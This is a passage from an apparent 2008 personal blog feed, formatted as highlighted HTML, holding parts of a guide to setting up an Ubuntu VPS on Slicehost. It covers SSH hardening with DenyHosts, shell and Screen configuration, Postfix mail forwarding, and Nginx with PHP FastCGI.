class="w"> </span><span class="k">default</span><span class="w"></span> <span class="n">sshd</span><span class="o">:</span><span class="w"> </span><span class="mf">192.168</span><span class="o">.</span><span class="mf">1.0</span><span class="o">/</span><span class="mf">255.255</span><span class="o">.</span><span class="mf">255.0</span><span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="n">Allow</span><span class="w"> </span><span class="k">this</span><span class="w"> </span><span class="n">subnet</span><span class="w"></span> <span class="n">sshd</span><span class="o">:</span><span class="w"> </span><span class="mf">4.2</span><span class="o">.</span><span class="mf">2.1</span><span class="w"> </span><span class="err">#</span><span class="w"> </span><span class="n">Allow</span><span class="w"> </span><span class="k">this</span><span class="w"> </span><span class="n">IP</span><span class="w"></span> </code></pre></div> <p>(You could also accomplish this with iptables, but I think editing the above file is simpler.)</p> <p>But the last two options &ndash; disabling password auth and allowing only certain IP addresses &ndash; limits mobility. I constantly login to my <a href="http://pig-monkey.com/2008/06/09/a-move-to-slicehost/">slice</a> from multiple IPs, and I also need to login during travel when I may or may not have my key on me.</p> <p>The main thing these two options protect against is a brute force attack. By allowing password logins from any IP, we give the attacker the ability to exploit the weakest part of SSH. This is where <a href="http://denyhosts.sourceforge.net/">DenyHosts</a> comes in.</p> <p>DenyHosts is a python script which attempts to recognize and block brute force attacks. It has many attractive <a href="http://denyhosts.sourceforge.net/features.html">features</a> and is included in the default Ubuntu repositories.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo aptitude install denyhosts </code></pre></div></td></tr></table></div> <p>The config file is located at <code>/etc/denyhosts.conf</code>. It is very simply and readable. I recommend reading through it, but most of the default options are acceptable. If any changes are made, the daemon must be restarted:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo /etc/init.d/denyhosts restart </code></pre></div></td></tr></table></div> <h2>Default Ports</h2> <p>Many people also advocating changing SSH&rsquo;s default port to something other than 22 (more specifically, something over 1024, which won&rsquo;t be scanned by default by <a href="http://nmap.org/">nmap</a>). The argument in support of this is that many automated attack scripts look for SSH only on port 22. By changing the port, you save yourself the headache of dealing with script kiddies. Opponents to changing the port would argue that the annoyance of having to specify the port number whenever using <code>ssh</code> or <code>scp</code> outweighs the minute security benefits. It&rsquo;s a heated argument. I lean toward leaving SSH on the default port.</p>An Ubuntu VPS on Slicehost: Basic Setup2008-06-10T00:00:00-07:002012-12-22T00:00:00-08:00Pig Monkeytag:pig-monkey.com,2008-06-10:/2008/06/an-ubuntu-vps-on-slicehost-basic-setup/<p><em>As <a href="http://pig-monkey.com/2008/06/09/a-move-to-slicehost/">mentioned previously</a>, I&rsquo;ve recently moved this domain over to <a href="http://www.slicehost.com/">Slicehost</a>. What follows is Part One of a guide, compiled from my notes, to setting up an Ubuntu Hardy VPS. See also <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-web-server">Part Two</a>, <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-mail">Part Three</a>, and <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-wordpress">Part Four</a>.</em></p> <p>Slicehost has an <a href="http://articles.slicehost.com/">excellent article repository</a>, containing guides on a …</p><p><em>As <a href="http://pig-monkey.com/2008/06/09/a-move-to-slicehost/">mentioned previously</a>, I&rsquo;ve recently moved this domain over to <a href="http://www.slicehost.com/">Slicehost</a>. What follows is Part One of a guide, compiled from my notes, to setting up an Ubuntu Hardy VPS. See also <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-web-server">Part Two</a>, <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-mail">Part Three</a>, and <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-wordpress">Part Four</a>.</em></p> <p>Slicehost has an <a href="http://articles.slicehost.com/">excellent article repository</a>, containing guides on a number of subjects. After building a fresh Slice, you should first follow <a href="http://articles.slicehost.com/2008/4/25/ubuntu-hardy-setup-page-1">Part 1</a> and <a href="http://articles.slicehost.com/2008/4/25/ubuntu-hardy-setup-page-2">Part 2</a> of Slicehost&rsquo;s basic setup articles.</p> <p>I use slightly different coloring in my bash prompt, so, rather than what Slicehost suggests in their article, I add the following to <code>~/.bashrc</code>:</p> <!--more--> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="nb">export</span> <span class="nv">PS1</span><span class="o">=</span><span class="s1">&#39;\[\033[0;32m\]\u@\[\033[0;35m\]\h\[\033[0;33m\] \w\[\033[00m\]: &#39;</span> </code></pre></div></td></tr></table></div> <p>This is a good time to protect SSH by installing <a href="http://denyhosts.sourceforge.net/">DenyHosts</a>, which I discuss <a href="http://pig-monkey.com/2008/10/03/thoughts-on-ssh-security/">here</a>:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo aptitude install denyhosts </code></pre></div></td></tr></table></div> <p>Ubuntu&rsquo;s default text editor is nano, which I abhor. Real men use vim. Ubuntu comes with a slimmed down version of vim, but you&rsquo;ll probably want the full version:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo aptitude install vim </code></pre></div></td></tr></table></div> <p>To change the global default editor variable, execute the following and select the editor of your choice:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo update-alternatives --config editor </code></pre></div></td></tr></table></div> <p>This is also a perfect time to install <a href="http://www.gnu.org/software/screen/">GNU Screen</a>.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo aptitude install screen </code></pre></div></td></tr></table></div> <p>If you&rsquo;re not familiar with Screen, <a href="http://www.redhatmagazine.com/2007/09/27/a-guide-to-gnu-screen/">Red Hat Magazine has a nice little introduction</a></p> <p>My .screenrc looks like this:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span> <span class="normal"> 2</span> <span class="normal"> 3</span> <span class="normal"> 4</span> <span class="normal"> 5</span> <span class="normal"> 6</span> <span class="normal"> 7</span> <span class="normal"> 8</span> <span class="normal"> 9</span> <span class="normal">10</span> <span class="normal">11</span> <span class="normal">12</span> <span class="normal">13</span> <span class="normal">14</span> <span class="normal">15</span> <span class="normal">16</span> <span class="normal">17</span> <span class="normal">18</span> <span class="normal">19</span> <span class="normal">20</span> <span class="normal">21</span> <span class="normal">22</span> <span class="normal">23</span> <span class="normal">24</span> <span class="normal">25</span> <span class="normal">26</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="c1"># Print a pretty line at the bottom of the screen</span> hardstatus alwayslastline hardstatus string <span class="s1">&#39;%{= kG}[ %{G}%H %{g}][%= %{=kw}%?%-Lw%?%{r}(%{W}%n*%f%t%?(%u)%?%{r})%{w}%?%+Lw%?%?%= %{g}][%{Y}%Y-%m-%d %{W}%c %{g}]&#39;</span> <span class="c1"># Nobody likes startup messages</span> startup_message off <span class="c1"># Turn visual bell on and set the message to display for only a fraction of a second</span> vbell on vbellwait .3 <span class="c1"># Set default shell title to blank</span> shelltitle <span class="s1">&#39;&#39;</span> <span class="c1"># Gimme my scrollback!</span> defscrollback <span class="m">5000</span> <span class="c1"># Change command character to backtick</span> escape <span class="sb">``</span> <span class="c1"># Stop programs (like vim) from leaving their contents</span> <span class="c1"># in the window after they exit</span> altscreen on <span class="c1"># Default screens</span> screen -t shell <span class="m">0</span> </code></pre></div></td></tr></table></div> <p>I prefer to have my bash profile setup to connect me to Screen as soon as I login. If there are no running sessions, it will create one. If there is a current session, it will disconnect the session from wherever it is connected and connect it to my login. When I disconnect from screen, it automatically logs me out. To achieve this, I add the following to <code>~/.bashrc</code>:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span> <span class="normal">4</span> <span class="normal">5</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="c1"># If possible, reattach to an existing session and detach that session</span> <span class="c1"># elsewhere. If not possible, create a new session.</span> <span class="k">if</span> <span class="o">[</span> -z <span class="s2">&quot;</span><span class="nv">$STY</span><span class="s2">&quot;</span> <span class="o">]</span><span class="p">;</span> <span class="k">then</span> <span class="nb">exec</span> screen -dR <span class="k">fi</span> </code></pre></div></td></tr></table></div> <p>I would also recommend following Slicehost&rsquo;s guide to <a href="http://articles.slicehost.com/2007/9/10/scanning-for-rootkits-with-chkrootkit">installing chkrootkit</a> and <a href="http://articles.slicehost.com/2007/9/10/scanning-for-rootkits-with-rkhunter">rkhunter</a>.</p> <p>One more thing: let&rsquo;s set the timezone of the server to whatever is local to you (Slicehost&rsquo;s Ubuntu image defaults to UTC). To do that, run:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo dpkg-reconfigure tzdata </code></pre></div></td></tr></table></div> <p>Next up: <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-web-server">install a web server</a>.</p>An Ubuntu VPS on Slicehost: Mail2008-06-10T00:00:00-07:002012-12-22T00:00:00-08:00Pig Monkeytag:pig-monkey.com,2008-06-10:/2008/06/an-ubuntu-vps-on-slicehost-mail/<p><em>As <a href="http://pig-monkey.com/2008/06/09/a-move-to-slicehost/">mentioned previously</a>, I&rsquo;ve recently moved this domain over to <a href="http://www.slicehost.com/">Slicehost</a>. What follows is Part Three of a guide, compiled from my notes, to setting up an Ubuntu Hardy VPS. See also <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-basic-setup">Part One</a>, <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-web-server">Part Two</a>, and <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-wordpress">Part Four</a>.</em></p> <p>Last week I <a href="http://pig-monkey.com/2008/06/09/google-apps/">moved this domain&rsquo;s email to Google …</a></p><p><em>As <a href="http://pig-monkey.com/2008/06/09/a-move-to-slicehost/">mentioned previously</a>, I&rsquo;ve recently moved this domain over to <a href="http://www.slicehost.com/">Slicehost</a>. What follows is Part Three of a guide, compiled from my notes, to setting up an Ubuntu Hardy VPS. See also <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-basic-setup">Part One</a>, <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-web-server">Part Two</a>, and <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-wordpress">Part Four</a>.</em></p> <p>Last week I <a href="http://pig-monkey.com/2008/06/09/google-apps/">moved this domain&rsquo;s email to Google Apps</a>. Slicehost has <a href="http://articles.slicehost.com/2007/10/25/creating-mx-records-for-google-apps">a guide to creating MX records for Google Apps</a>. I have a couple other domains with Google Apps, along with a couple domains hosted locally with addresses that simply forward to my primary, Google hosted, email. I also need to send mail from the server. To accomplish all of this, I use <a href="http://www.postfix.org/">Postfix</a>.</p> <!--more--> <p>Installing Postfix is a simple matter. Telnet is used quite a bit for testing, so I install that too:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo aptitude install postfix telnet mailutils </code></pre></div></td></tr></table></div> <p>The Postfix setup will ask how it should be installed &ndash; we want the &ldquo;Internet Site&rdquo; option &ndash; and then ask you for your fully qualified domain name.</p> <p>Done? Let&rsquo;s make sure Postfix is running:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ telnet localhost <span class="m">25</span> </code></pre></div></td></tr></table></div> <p>If it&rsquo;s working Postfix should return:</p> <div class="highlight"><pre><span></span><code>Trying 127.0.0.1... Connected to localhost. Escape character is &#39;^]&#39;. 220 localhost ESMTP Postfix (Ubuntu) </code></pre></div> <p>Let&rsquo;s send a test message from root to the user account <code>user</code> (replace that with whatever your standard user is):</p> <div class="highlight"><pre><span></span><code><span class="n">ehlo</span><span class="w"> </span><span class="n">localhost</span><span class="w"></span> <span class="n">mail</span><span class="w"> </span><span class="k">from</span><span class="err">:</span><span class="w"> </span><span class="n">root</span><span class="nv">@localhost</span><span class="w"></span> <span class="n">rcpt</span><span class="w"> </span><span class="k">to</span><span class="err">:</span><span class="w"> </span><span class="k">user</span><span class="nv">@localhost</span><span class="w"></span> <span class="k">data</span><span class="w"></span> <span class="nl">Subject</span><span class="p">:</span><span class="w"> </span><span class="n">Test</span><span class="w"></span> <span class="n">Hi</span><span class="p">,</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="n">this</span><span class="w"> </span><span class="n">thing</span><span class="w"> </span><span class="k">on</span><span class="vm">?</span><span class="w"></span> <span class="p">.</span><span class="w"></span> <span class="n">quit</span><span class="w"></span> </code></pre></div> <p>Now, check your email as <code>user</code> by running <code>mail</code>. See the message? Good.</p> <p>Open <code>/etc/postfix/main.cf</code> to make sure that Postfix knows what domains it&rsquo;s receiving mail for. To do this, edit the <code>mydestination</code> variable to include all the proper domains. For me, the name of my server looks like server.mydomain.com. I want Postfix to accept mail for that domain, but not for mydomain.com (since that&rsquo;s being handled by Google Apps), so mine looks like:</p> <div class="highlight"><pre><span></span><code>mydestination = server.mydomain.com, localhost.mydomain.com , localhost </code></pre></div> <p>Restart Postfix if you made any changes:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo /etc/init.d/postfix restart </code></pre></div></td></tr></table></div> <p>Right. Now let&rsquo;s send another test. Notice this time we&rsquo;re using full domain names, instead of localhost:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span> <span class="normal"> 2</span> <span class="normal"> 3</span> <span class="normal"> 4</span> <span class="normal"> 5</span> <span class="normal"> 6</span> <span class="normal"> 7</span> <span class="normal"> 8</span> <span class="normal"> 9</span> <span class="normal">10</span></pre></div></td><td class="code"><div><pre><span></span><code>$ telnet server.mydomain.com <span class="m">25</span> ehlo server.mydomain.com mail from: root@server.mydomain.com rcpt to: user@server.mydomain.com data Subject: domains! woot... I think this works. . quit </code></pre></div></td></tr></table></div> <p>Working? Good.</p> <p>Let&rsquo;s test from the outside. The first step is to open up the correct ports in the firewall. Assuming you have iptables configured in the way the <a href="http://articles.slicehost.com/2007/11/6/ubuntu-gutsy-setup-page-1">Slicehost article suggests</a>, open up your <code>/etc/iptables.test.rules</code> and add the following:</p> <div class="highlight"><pre><span></span><code># Allow mail server connections -A INPUT -p tcp -m state --state NEW --dport 25 -j ACCEPT </code></pre></div> <p>Now let&rsquo;s apply the rules:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo iptables-restore &lt; /etc/iptables.test.rules </code></pre></div></td></tr></table></div> <p>Make sure everything looks dandy:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo iptables -L </code></pre></div></td></tr></table></div> <p>If it meets your fancy, save the rules:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo -i $ iptables-save &gt; /etc/iptables.up.rules </code></pre></div></td></tr></table></div> <p>And now, from your local computer, let&rsquo;s test it out.</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span> <span class="normal"> 2</span> <span class="normal"> 3</span> <span class="normal"> 4</span> <span class="normal"> 5</span> <span class="normal"> 6</span> <span class="normal"> 7</span> <span class="normal"> 8</span> <span class="normal"> 9</span> <span class="normal">10</span></pre></div></td><td class="code"><div><pre><span></span><code>$ telnet server.mydomain.com <span class="m">25</span> ehlo server.mydomain.com mail from: root@server.mydomain.com rcpt to: user@server.mydomain.com data Subject: remote connection <span class="nb">test</span> Hello, you. . quit </code></pre></div></td></tr></table></div> <p>Now check your mail on the mail server as before. Once again, everything should be working.</p> <p>Now we need to setup a virtual domain. Remember, I don&rsquo;t want any virtual users. I only want aliases at a virtual domain to forward to my primary email address. That makes this relatively simple. (Be very, very happy. You should have seen this guide before, when I was still hosting virtual domains with virtual users!) Open up <code>/etc/postfix/main.cf</code> and add the following:</p> <div class="highlight"><pre><span></span><code>virtual_alias_domains = myvirtualdomain.com virtual_alias_maps = hash:/etc/postfix/virtual </code></pre></div> <p>Create the <code>/etc/postfix/virtual</code> file referenced above and add the aliases:</p> <div class="highlight"><pre><span></span><code><span class="k">alias</span><span class="nv">@myvirtualdomain</span><span class="p">.</span><span class="n">com</span><span class="w"> </span><span class="k">user</span><span class="nv">@mydomain</span><span class="p">.</span><span class="n">com</span><span class="w"></span> </code></pre></div> <p>Turn it into a database:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span></pre></div></td><td class="code"><div><pre><span></span><code>$ <span class="nb">cd</span> /etc/postfix $ sudo postmap virtual </code></pre></div></td></tr></table></div> <p>Restart Postfix:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo /etc/init.d/postfix restart </code></pre></div></td></tr></table></div> <p>Attempt to send an email to the new alias at the virtual domain:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span> <span class="normal">4</span> <span class="normal">5</span> <span class="normal">6</span> <span class="normal">7</span> <span class="normal">8</span> <span class="normal">9</span></pre></div></td><td class="code"><div><pre><span></span><code>$ telnet server.mydomain.com <span class="m">25</span> ehlo server.mydomain.com mail from: root@server.mydomain.com rcpt to: alias@myvirtualdomain.com data Subject: virtual domain <span class="nb">test</span> I hope this works! . quit </code></pre></div></td></tr></table></div> <p>The message should now be in your primary email inbox!</p> <p>As long as we&rsquo;re setting up forwards, let&rsquo;s forward system account mail to somewhere where it&rsquo;ll actually get read. To do so, create a <code>~/.forward</code> file with the following contents:</p> <div class="highlight"><pre><span></span><code><span class="k">user</span><span class="nv">@mydomain</span><span class="p">.</span><span class="n">com</span><span class="w"></span> </code></pre></div> <p>Let&rsquo;s also create a <code>/root/.forward</code>, so that roots mail gets forwarded to my local account (where it is then forwarded to my primary email). Root&rsquo;s forward would simply read:</p> <div class="highlight"><pre><span></span><code>user </code></pre></div> <p>Next up: <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-wordpress">install Wordpress with rewrites</a>. (Previously, we did a <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-basic-setup">basic setup</a> and <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-web-server">installed a web server</a>.)</p>An Ubuntu VPS on Slicehost: Web Server2008-06-10T00:00:00-07:002012-12-22T00:00:00-08:00Pig Monkeytag:pig-monkey.com,2008-06-10:/2008/06/an-ubuntu-vps-on-slicehost-web-server/<p><em>As <a href="http://pig-monkey.com/2008/06/09/a-move-to-slicehost/">mentioned previously</a>, I&rsquo;ve recently moved this domain over to <a href="http://www.slicehost.com/">Slicehost</a>. What follows is Part Two of a guide, compiled from my notes, to setting up an Ubuntu Hardy VPS. See also <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-basic-setup">Part One</a>, <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-mail">Part Three</a>, <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-wordpress">Part Four</a>.</em></p> <p>Now we&rsquo;ve got a properly configured, but idle, box. Let …</p><p><em>As <a href="http://pig-monkey.com/2008/06/09/a-move-to-slicehost/">mentioned previously</a>, I&rsquo;ve recently moved this domain over to <a href="http://www.slicehost.com/">Slicehost</a>. What follows is Part Two of a guide, compiled from my notes, to setting up an Ubuntu Hardy VPS. See also <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-basic-setup">Part One</a>, <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-mail">Part Three</a>, <a href="http://pig-monkey.com/2008/06/10/an-ubuntu-vps-on-slicehost-wordpress">Part Four</a>.</em></p> <p>Now we&rsquo;ve got a properly configured, but idle, box. Let&rsquo;s do something with it.</p> <p><a href="http://nginx.net/">Nginx</a> is a small, lightweight web server that&rsquo;s all the rage on some small corners of the Net. <a href="http://www.apache.org/">Apache</a> is extremely overkill for a small personal web server like this and, since we&rsquo;re limited to 256MB of RAM on this VPS, it quickly becomes a resource hog. <a href="http://www.lighttpd.net/">Lighttpd</a> is another small, lightweight web server, but I&rsquo;m a fan of Nginx. Try it out.</p> <!--more--> <p>First, we need to install the web server. Nginx is now in Ubuntu&rsquo;s repositories:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo aptitude install nginx </code></pre></div></td></tr></table></div> <p>That&rsquo;s all it takes in Hardy, but if you really want a guide for it, <a href="http://articles.slicehost.com/2008/5/13/ubuntu-hardy-installing-nginx-via-aptitude">Slicehost has you covered</a>.</p> <p>Slicehost has a few more useful guides to Nginx, including introductions to the config layout and how to get started with vhosts:</p> <ul> <li><a href="http://articles.slicehost.com/2008/5/15/ubuntu-hardy-nginx-configuration">Nginx configuration</a></li> <li><a href="http://articles.slicehost.com/2008/5/16/ubuntu-hardy-nginx-virtual-hosts">Nginx Virtual Hosts</a></li> <li><a href="http://articles.slicehost.com/2008/5/16/ubuntu-hardy-nginx-virtual-host-settings">Nginx virtual host settings</a></li> </ul> <p>Next up, we&rsquo;ll need to install MySQL and PHP, and get them working with Nginx.</p> <p>Slicehost has a guide for <a href="http://articles.slicehost.com/2007/11/23/ubuntu-gutsy-mysql-and-ror">installing MySQL and Ruby on Rails</a>, which also includes suggestions on optimizing MySQL. I follow the MySQL part of the guide, stopping at &ldquo;Ruby on Rails install&rdquo;.</p> <p>Now MySQL is working, lets install PHP:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo aptitude install php5-common php5-cgi php5-mysql php5-cli </code></pre></div></td></tr></table></div> <p>To get PHP as FastCGI working with Nginx, we first have to spawn the fcgi process. There are a few different ways to do that. Personally, I use the <code>spawn-fcgi</code> app from <a href="http://www.lighttpd.net/">lighttpd</a>. To use it, we&rsquo;ll compile and make lighttpd, but <strong>not</strong> install it. We&rsquo;re only after one binary.</p> <p>Lighttpd has a few extra requirements, so let&rsquo;s install those:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo aptitude install libpcre3-dev libbz2-dev </code></pre></div></td></tr></table></div> <p>Now, download the source and compile lighttpd. Then copy the <code>spawn-fcgi</code> binary to <code>/usr/bin/</code>:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span> <span class="normal">3</span> <span class="normal">4</span> <span class="normal">5</span> <span class="normal">6</span></pre></div></td><td class="code"><div><pre><span></span><code>$ wget http://www.lighttpd.net/download/lighttpd-1.4.19.tar.gz $ tar xvzf lighttpd-1.4.19.tar.gz $ <span class="nb">cd</span> lighttpd-1.4.19 $ ./configure $ make $ sudo cp src/spawn-fcgi /usr/bin/spawn-fcgi </code></pre></div></td></tr></table></div> <p>Then, create a script to launch spawn-fci (I call it <code>/usr/bin/php5-fastcgi</code>):</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span> <span class="normal">2</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="ch">#!/bin/sh</span> /usr/bin/spawn-fcgi -a <span class="m">127</span>.0.0.1 -p <span class="m">9000</span> -u www-data -C <span class="m">2</span> -f /usr/bin/php5-cgi </code></pre></div></td></tr></table></div> <p>The script tells spawn-fcgi to launch a fastcgi process, listening on 127.0.01:9000, owned by the web user, with only 2 child processes. You may want more child processes, but I&rsquo;ve found 2 to be optimal.</p> <p>Give the script permissions:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo chmod +x /usr/bin/php5-fastcgi </code></pre></div></td></tr></table></div> <p>I then link the script filename to a version-neutral, err, version:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo ln -s /usr/bin/php5-fastcgi /usr/bin/php-fastcgi </code></pre></div></td></tr></table></div> <p>Now we need an init script to start the process at boot. I use <a href="http://www.howtoforge.com/nginx_php5_fast_cgi_xcache_ubuntu7.04">this one from HowToForge</a>, named <code>/etc/init.d/fastcgi</code>:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal"> 1</span> <span class="normal"> 2</span> <span class="normal"> 3</span> <span class="normal"> 4</span> <span class="normal"> 5</span> <span class="normal"> 6</span> <span class="normal"> 7</span> <span class="normal"> 8</span> <span class="normal"> 9</span> <span class="normal">10</span> <span class="normal">11</span> <span class="normal">12</span> <span class="normal">13</span> <span class="normal">14</span> <span class="normal">15</span> <span class="normal">16</span> <span class="normal">17</span> <span class="normal">18</span> <span class="normal">19</span> <span class="normal">20</span> <span class="normal">21</span> <span class="normal">22</span> <span class="normal">23</span> <span class="normal">24</span> <span class="normal">25</span> <span class="normal">26</span></pre></div></td><td class="code"><div><pre><span></span><code><span class="ch">#!/bin/bash</span> <span class="nv">PHP_SCRIPT</span><span class="o">=</span>/usr/bin/php-fastcgi <span class="nv">RETVAL</span><span class="o">=</span><span class="m">0</span> <span class="k">case</span> <span class="s2">&quot;</span><span class="nv">$1</span><span class="s2">&quot;</span> <span class="k">in</span> start<span class="o">)</span> <span class="nb">echo</span> <span class="s2">&quot;Starting fastcgi&quot;</span> <span class="nv">$PHP_SCRIPT</span> <span class="nv">RETVAL</span><span class="o">=</span><span class="nv">$?</span> <span class="p">;;</span> stop<span class="o">)</span> <span class="nb">echo</span> <span class="s2">&quot;Stopping fastcgi&quot;</span> killall -9 php5-cgi <span class="nv">RETVAL</span><span class="o">=</span><span class="nv">$?</span> <span class="p">;;</span> restart<span class="o">)</span> <span class="nb">echo</span> <span class="s2">&quot;Restarting fastcgi&quot;</span> killall -9 php5-cgi <span class="nv">$PHP_SCRIPT</span> <span class="nv">RETVAL</span><span class="o">=</span><span class="nv">$?</span> <span class="p">;;</span> *<span class="o">)</span> <span class="nb">echo</span> <span class="s2">&quot;Usage: php-fastcgi {start|stop|restart}&quot;</span> <span class="nb">exit</span> <span class="m">1</span> <span class="p">;;</span> <span class="k">esac</span> <span class="nb">exit</span> <span class="nv">$RETVAL</span> </code></pre></div></td></tr></table></div> <p>Give it permissions:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo chmod <span class="m">755</span> /etc/init.d/fastcgi </code></pre></div></td></tr></table></div> <p>Start it:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo /etc/init.d/fastcgi start </code></pre></div></td></tr></table></div> <p>Have it start at boot:</p> <div class="highlight"><table class="highlighttable"><tr><td class="linenos"><div class="linenodiv"><pre><span class="normal">1</span></pre></div></td><td class="code"><div><pre><span></span><code>$ sudo update-rc.d fastcgi defaults </code></pre></div></td></tr></table></div> <p>Alright, now that PHP is running how we want it to, let&rsquo;s tell Nginx to talk to it. To do that, add the following to your vhost server block in <code>/etc/nginx/sites-available/mydomain.com</code>, making sure to change the <code>SCRIPT_FILENAME</code> variable to match your directory structure:</p> <div class="highlight"><pre><span></span><code><span class="nt">location</span><span class="w"> </span><span class="o">~</span><span class="w"> </span><span class="err">\</span><span class="p">.</span><span class="nc">php</span><span class="o">$</span><span class="w"> </span><span class="p">{</span><span class="w"></span> <span class="w"> </span><span class="err">fastcgi_pass</span><span class="w"> </span><span class="err">127.0.0.1:9000</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="err">fastcgi_index</span><span class="w"> </span><span class="err">index.php</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="err">fastcgi_param</span><span class="w"> </span><span class="err">SCRIPT_FILENAME</span><span class="w"> </span><span class="err">/home/user/public_html/mydomain.com/public$fastcgi_script_name</span><span class="p">;</span><span class="w"></span> <span class="w"> </span><span class="err">include</span><span class="w"> </span><span 